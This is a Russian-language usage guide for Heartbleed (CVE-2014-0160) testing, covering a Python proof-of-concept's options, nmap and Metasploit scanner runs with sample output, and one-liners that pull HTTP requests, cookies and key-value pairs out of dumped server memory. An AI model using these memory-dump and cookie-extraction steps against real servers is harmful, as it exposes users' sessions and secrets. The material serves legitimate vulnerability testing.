
Тест на уязвимость Heartbleed (CVE-2014-0160)
NB Почти все инструменты (nmap, metasploit, nessus, даже burp) имеют самые актуальные версии своих сканеров. Эти инструменты были выпущены на ранних этапах, когда инструменты еще разрабатывались. Рекомендуется использовать их вместо этих.
Использование: heartbleed-poc.py сервер [опции]
Тестирование уязвимости SSL Heartbleed (CVE-2014-0160)
Опции: -h, --help показать это сообщение справки и выйти -p ПОРТ, --port=ПОРТ TCP-порт для тестирования (по умолчанию: 443) -n ЧИСЛО, --num=ЧИСЛО Количество отправляемых heartbeat-пакетов, если уязвим (определяет объем получаемой памяти) (по умолчанию: 1) -f ФАЙЛ, --file=ФАЙЛ Имя файла для записи сброшенной памяти (по умолчанию: dump.bin) -q, --quiet Не отображать дамп памяти -s, --starttls Проверить STARTTLS (пока только для smtp)
Обычное сканирование, будет использован порт 443, с 1 итерацией: python heartbleed-poc.py example.com
Сканирование с дампом памяти, будет выполнено 100 запросов, вывод помещен в бинарный файл dump.bin: python heartbleed-poc.py -n100 -f dump.bin example.com
Убедитесь, что сервер занят, чтобы получить разные части HEAP, иначе вы получите повторяющиеся данные.
Проверка почтового сервера с STARTTLS (например, порт 25): python heartbleed-poc.py -s -p 25 example.com
Ранее существовал ключ -v для явного указания версии TLS, теперь это определяется автоматически, и он удален.
Бинарный файл будет содержать ценные данные, вот несколько простых способов их извлечения:
HTTP-запрос: awk '/[HPG][UEO][AST][DT ]/,/Connection/' dump.bin
Cookies: grep -a "^Cookie:" dump.bin
Интересные пары ключ-значение: pcregrep -ao "[A-Za-z0-9_-]+=[0-9a-zA-Z]+" dump.bin
Использование: nmap --script=ssl-heartbleed -p 443 <сервер>
Пример вывода:
Starting Nmap 6.41SVN ( http://nmap.org ) at 2014-04-09 17:27 SAST
Nmap scan report for <example.org> (1.2.3.4)
Host is up (0.0068s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| Description:
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://www.openssl.org/news/secadv_20140407.txt
|_ http://cvedetails.com/cve/2014-0160/
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
msf > use auxiliary/scanner/ssl/openssl_heartbleed msf auxiliary(openssl_heartbleed) > show options
Опции модуля (auxiliary/scanner/ssl/openssl_heartbleed):
Name Current Setting Required Description
RHOSTS yes Диапазон адресов цели или идентификатор CIDR RPORT 443 yes Целевой порт STARTTLS None yes Протокол для использования с STARTTLS, None для отключения STARTTLS (допустимо: None, SMTP, IMAP, JABBER, POP3, FTP) THREADS 1 yes Количество одновременных потоков TLSVERSION 1.0 yes Используемая версия TLS (допустимо: 1.0, 1.1, 1.2)
msf auxiliary(openssl_heartbleed) > set rhosts example.org rhosts => example.org msf auxiliary(openssl_heartbleed) > set STARTTLS FTP STARTTLS => FTP msf auxiliary(openssl_heartbleed) > set PORT 21 PORT => 21 msf auxiliary(openssl_heartbleed) > exploit
[] 37.187.134.197:21 - Попытка запустить SSL через FTP [] 37.187.134.197:21 - Отправка Client Hello... [] 37.187.134.197:21 - Отправка Heartbeat... [] 37.187.134.197:21 - Heartbeat ответ, проверка утечки данных... [+] 37.187.134.197:21 - Heartbeat ответ с утечкой [] 37.187.134.197:21 - Утечка читаемой информации: @SE F(CKMIWsf"!98532ED/A [] Сканировано 1 из 1 хоста (100% завершено) [*] Выполнение вспомогательного модуля завершено